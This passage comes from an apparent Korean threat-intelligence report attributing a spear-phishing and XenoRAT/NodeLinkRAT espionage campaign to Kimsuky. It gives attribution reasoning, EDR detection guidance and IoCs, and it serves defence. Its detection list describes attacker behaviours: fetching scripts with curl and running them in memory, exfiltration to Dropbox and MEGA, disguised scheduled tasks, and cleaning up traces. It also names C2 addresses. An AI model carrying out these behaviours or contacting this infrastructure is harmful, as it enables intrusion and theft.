어셈블리 GUID는 개발 프로젝트를 처음 생성할 때 한 번 부여되어 이후 빌드에서도 유지되는 값입니다. 공개된 XenoRAT 클라이언트 프로젝트의 GUID와는 일치하지 않으므로, 위협 행위자가 공개 소스를 그대로 빌드한 것이 아니라 별도 프로젝트로 재구성했으며 세 변종이 모두 그 단일 프로젝트에서 제작되었음을 보여줍니다.

다음으로 Mutex 값이 IbfXgQPt20kszwAzuy85BJIKr0IrJUs2 문자열로 고정되어 두 변종에 공통 적용되었습니다. 이 값은 중복 실행을 방지하기 위한 Mutex 생성자의 인자로 전달되며, XenoRAT 원본이 기본값으로 사용하는 문자열과는 다른 사용자 지정 값입니다.

다만 이 값은 길이가 32자여서 XenoRAT의 통신 암호화 키(byte[32])로 오인하기 쉽습니다. 실제 암호화 키는 별도의 바이트 배열로 존재하며, 세 변종 모두 원본의 기본값과 다른 동일한 사용자 지정 키를 공유합니다.

[그림 4-3] XenoRAT 내부 함수 화면

 

4-4. 무료 도메인 서비스 악용

NodeLinkRAT은 일본 소재 207.148.112[.]166 호스트를 C2로 사용하며, 한국의 무료 도메인 서비스로 생성된 nid.weffm.p-e[.]kr 주소를 함께 사용하기도 합니다.

[그림 4-4] 일본 C2 웹 서버 화면

해당 주소가 사용하는 p-e[.]kr은 '내도메인[.]한국'에서 제공하는 무료 도메인 서비스의 하위 도메인입니다. 이 서비스는 별도의 비용이나 복잡한 절차 없이 도메인을 발급받고 DNS 레코드를 수시로 변경할 수 있어, 북한 연계 해킹 조직이 지속적으로 악용해 온 것으로 알려져 있습니다.

앞서 확인된 닷홈(dothome.co[.]kr) 무료 웹호스팅과 함께, 국내 이용자에게 친숙한 도메인 체계를 사용해 수신자의 의심을 낮추려는 의도로 볼 수 있습니다.

특히 'nid'는 네이버 계정 로그인 도메인(nid.naver[.]com)의 앞부분을 그대로 차용한 것으로, 수신자가 주소를 빠르게 훑어볼 경우 정상 네이버 도메인으로 오인하기 쉽습니다.

 

4-5. 자격 증명 탈취 인프라

해당 서버에는 네이버 이메일 계정의 자격 증명을 탈취하기 위한 피싱 페이지 구성 파일이 노출되어 있었습니다.

[그림 4-5] 네이버 로그인 피싱용 파일

이는 악성코드를 통한 단말 장악과 피싱을 통한 계정 탈취를 병행하는 운영 방식을 보여줍니다. 피해자의 메일 계정을 확보할 경우 추가 표적의 연락처와 실제 업무 메일 내용을 획득할 수 있으며, 이번 캠페인의 초기 침투에 사용된 답장 유도형 스피어피싱처럼 신뢰도 높은 미끼를 재생산하는 기반이 됩니다.

 

4-6. 귀속 근거 평가

개별 요소만으로는 귀속 근거가 되기 어렵습니다. XenoRAT은 오픈소스이며, Dropbox와 무료 호스팅은 다수의 위협 행위자가 공통적으로 악용하는 기반입니다. 그러나 계정 자산과 피싱 키트, C2 대역이 과거 김수키 활동과 일부 중복되고, 여기에 단일 프로젝트에서 제작된 악성코드 변종군과 표적 선정 특성이 함께 일치한다는 점에서 이들 요소를 종합할 때 연관성은 충분히 있다고 판단됩니다.

따라서 GSC는 이번 캠페인을 북한 연계 위협 그룹 김수키의 활동으로 평가하며, 신뢰도는 중간(Moderate)으로 판단합니다. 이는 복수의 독립적 근거가 과거 활동과 직접 중복되나 단일 결정적 증거는 확보되지 않은 상태를 의미합니다.

다만 다음과 같은 한계를 함께 고려했습니다. 첫째, 공격 인프라의 상당수가 공개 서비스여서 제3의 행위자가 동일 기법을 모방했을 가능성을 완전히 배제할 수 없습니다.

둘째, 한국어 문자열과 국내 서비스 사용은 표적이 한국이라는 점에서 비롯된 것일 수 있으며 의도적 위장 가능성도 존재합니다.

셋째, 위협 행위자가 메모 페이지의 코드를 수시로 변경했기 때문에 확인되지 않은 공격 단계가 존재할 수 있습니다.

마지막으로 북한 국적 위협 행위자의 소속 조직이나 주요 임무가 변경될 경우 과거에 수행했던 캠페인과 일부 겹치거나 혼선이 나타날 수도 있습니다. GSC는 관련 인프라와 코드를 지속 추적해 평가를 보완할 예정입니다.



5. 결론 및 대응 (Conclusion) 


5-1. 위협 캠페인 결론

이번 공격은 북한 연계 위협 그룹이 답장 유도형 스피어피싱으로 국내 정책 및 안보 분야 관계자에게 접근한 뒤, 공개 메모 서비스를 명령 채널로 삼아 공격 수단을 지속적으로 교체한 사이버 첩보 활동으로 평가됩니다.

위협 행위자는 2026년 6월부터 10월까지 메모 페이지의 코드만 바꾸는 방식으로 XenoRAT, 정보 수집 스크립트, 문서 탈취 스크립트, NodeLinkRAT을 차례로 투입했습니다. 유출 경로 역시 자체 C2 서버와 Dropbox, MEGA 클라우드, 국내 무료 웹호스팅으로 수시로 변경했습니다.

특히 최종 단계에서 확인된 NodeLinkRAT은 공식 사이트에서 내려받은 정상 Node.js 런타임 위에서 동작하며, 통신과 화면 캡처에 쓰이는 패키지 역시 공식 npm 저장소에서 설치됩니다. 실행되는 프로세스가 서명된 정상 프로그램이고 다운로드 출처 또한 정상 사이트이므로, 파일명이나 프로세스명, 접속 도메인만으로는 악성 여부를 판단하기 어렵습니다.

정상 서비스와 정상 도구만으로 공격이 완결되는 만큼, 개별 이벤트가 아니라 행위 간 연관성을 기준으로 탐지하는 체계를 갖출 필요가 있습니다.

 

5-2. 'Genian Insights E' 기반 통합 대응 전략

이번 캠페인은 답장 유도형 스피어피싱으로 표적과 신뢰 관계를 형성한 뒤, HWP 문서로 위장한 LNK 파일을 통해 다단계 PowerShell 스크립트를 배포하는 공격입니다.

이후 예약 작업 등록, 공개 메모 서비스를 경유한 명령 수신, 시스템 정보 수집과 문서 유출, 원격 제어 도구 설치로 공격이 이어집니다. 효과적인 탐지를 위해서는 다음과 같은 연속적인 이상행위를 하나의 공격 흐름으로 연결해 분석해야 합니다.

  • 압축파일 내부에서 HWP 문서로 위장한 LNK 실행
  • LNK에서 시작되는 cmd.exe, powershell.exe, curl.exe의 연쇄 실행
  • 무료 웹호스팅에서 스크립트를 내려받아 iex로 메모리에서 실행
  • %APPDATA% 경로에 PowerShell 스크립트와 확장자를 위장한 VBScript 파일 생성
  • CommonMaintenanceHost 등 정상 유지관리 작업으로 위장한 예약 작업 등록
  • 1분 또는 38분 간격의 비정상적인 스크립트 반복 실행
  • PowerShell 실행 정책 우회와 숨김 창을 이용한 스크립트 실행
  • 공개 메모 서비스에 주기적으로 접속한 뒤 응답 내용을 메모리에서 실행하는 행위
  • 백신 제품, systeminfo, ipconfig, 실행 프로세스 목록 등 시스템 정보 일괄 수집
  • Dropbox API와 MEGAcmd를 이용한 외부 클라우드 업로드
  • 문서 및 이미지 파일을 외부 웹호스팅으로 반복 전송하는 행위
  • nodejs.org에서 런타임을 내려받아 C:\Users\Public\Music에 설치하고 npm 패키지를 설치하는 행위
  • node.exe가 공용 폴더의 .js 파일을 숨김 창으로 실행하는 행위
  • 정보 전송 이후 임시 파일과 원본 LNK를 삭제하는 흔적 정리 행위

Genian Insights E는 프로세스 트리와 명령행, 파일 생성, 예약 작업, 레지스트리, 네트워크 연결 등 엔드포인트에서 발생하는 이벤트를 연계 분석합니다. 이를 통해 개별적으로는 정상 행위처럼 보일 수 있는 LNK 실행, 공개 메모 서비스 접속, PowerShell 구동 및 예약 작업 등록을 하나의 공격 흐름으로 가시화할 수 있습니다.

Node.js 런타임이나 MEGAcmd처럼 정식 서명된 도구가 설치되는 경우에도 파일명이나 서명만으로 정상 여부를 판단해서는 안 됩니다. 설치를 수행한 프로세스와 설치 경로, 해당 도구가 실행하는 스크립트, 예약 작업 등록 및 비정상 외부 통신을 함께 확인해야 합니다.

아울러 Dropbox, MEGA, 공개 메모 서비스, 무료 웹호스팅 접속 자체를 일괄적으로 차단하기보다는 해당 서비스에 접근한 프로세스와 명령행, 파일 생성 경로, API 사용 방식 및 후속 실행 행위를 함께 분석해야 합니다. 업무용으로 허용된 정상 서비스가 공격 인프라로 악용되는 상황에서는 도메인이나 IP 주소만을 기준으로 한 탐지보다 행위 간 상관관계 분석이 중요합니다.

생성형 AI가 피싱 문구와 미끼 문서의 완성도를 높이더라도 엔드포인트에서 발생하는 스크립트 실행, 지속성 확보, 정보 수집 및 외부 전송 행위까지 숨길 수는 없습니다. 따라서 최신 침해지표를 지속적으로 반영하는 동시에 공격 단계 간 연관성을 분석하고 이상행위를 신속하게 차단할 수 있는 EDR 중심의 통합 대응 체계를 구축해야 합니다.

아래는 본 캠페인의 초기 침투 단계를 Genian Insights E로 탐지한 화면입니다. 스피어피싱 메일로 유입된 압축파일과 그 안의 LNK 실행, 이어지는 curl.exe의 C2 통신까지 각 단계가 어떻게 식별되는지 순서대로 살펴봅니다.

[그림 5-1] 스피어피싱으로 초기 유입 식별

Genian Insights E의 Attack Storyline 기능은 스피어피싱 메일을 통한 초기 유입 단계부터 공격 흐름을 시각화합니다. 피해자가 웹메일의 대용량 첨부로 전달된 '사례비 지급 신청_개인정보 동의서.zip'을 내려받아 압축을 해제하고 내부의 LNK 파일을 실행한 시점이 공격의 시작점으로 식별됩니다.

이 단계에서 유입 경로와 내려받은 파일명, 압축 해제 위치가 함께 기록되므로, 이후 탐지되는 PowerShell 실행과 외부 통신이 어떤 파일에서 비롯되었는지 역추적할 수 있습니다. 사용자가 미끼 HWP 문서를 정상적으로 열었다고 인식하는 동안에도 EDR에는 최초 실행 시점의 로그가 남아 있어, 원본 LNK가 삭제된 뒤에도 침해 경위를 재구성할 수 있습니다.

[그림 5-2] 압축 해제된 악성 LNK 파일을 탐지한 화면

본 사례에서는 압축 해제된 '사례비 지급 신청_개인정보 동의서.hwp.lnk' 파일이 실행되는 시점에 XBA 탐지가 발생했습니다. LNK 속성에 기록된 명령어가 cmd.exe를 거쳐 PowerShell을 최소화, 숨김 창으로 기동하는 과정이 명령줄 정보에 그대로 드러나며, 바로가기 실행이 문서 열람이 아닌 스크립트 실행으로 이어진다는 점 자체가 HWP 문서 위장을 식별하는 근거가 됩니다.

탐지 요약에는 LNK 파일의 저장 경로와 부모, 자식 프로세스 관계가 함께 제시되므로, 보안 관리자는 위협의 행위와 영향 범위를 신속하게 파악하고, 동일 파일이 다른 단말에도 유입되었는지 조사하는 등 필요한 후속 조치를 수행할 수 있습니다.

[그림 5-3] curl.exe 파일에 의해서 C2 서버로 통신을 시도한 화면

탐지된 위협의 실행 흐름을 살펴보면 cmd.exe가 powershell.exe를 숨김 창으로 기동하고, 복원된 명령에 따라 curl.exe가 무료 웹호스팅에 개설된 C2 서버(epaper.dothome.co[.]kr)와 외부 통신을 시도한 과정을 확인할 수 있습니다.

이처럼 프로세스 실행 정보와 외부 네트워크 통신, 명령줄을 연계하여 분석하면 위협 행위자가 정상 호스팅 서비스를 경유해 2단계 페이로드를 유입한 과정과 세부 행위를 신속하게 추적할 수 있습니다.

탐지된 위협을 보다 구체적으로 조사하면 cmd.exe에서 실행된 전체 커맨드 라인을 통해 공격에 사용된 일련의 명령을 확인할 수 있습니다.

이를 통해 개별 탐지 이벤트를 단편적으로 분석하는 데 그치지 않고, 최초 명령 실행부터 외부 파일 유입과 후속 악성 행위로 이어지는 전체 공격 흐름을 파악할 수 있습니다.

이처럼 APT 공격 전후의 행위를 연계하여 가시성을 확보하고 위협의 전체 흐름을 신속하게 추적하기 위해서는 엔드포인트에서 발생하는 행위를 지속적으로 수집해 분석할 수 있는 EDR의 활용이 필요합니다.



6. IoC (Indicator of Compromise)

  • MD5

6985f297c03520a5852734a385322d8d

7575d230350299cfde0c4f993d761333

a151531b792b1df1eec8d3a6a8e1ded5

a15df586bf29e7c1a5db64d603cee382

cbcb66b530fb4f03d7dc9d55271b2ce4

ef317291bf88651666133abe84f115f0

 

  • C2

103.81.116[.]10

211.223.14[.]75

207.148.112[.]166

185.27.134[.]207

185.27.134[.]120

 

  • Domain

epaper.dothome.co[.]kr

oppsite.dothome.co[.]kr

nid.weffm.p-e[.]kr

inmain.22web[.]org

owna.loveslife[.]biz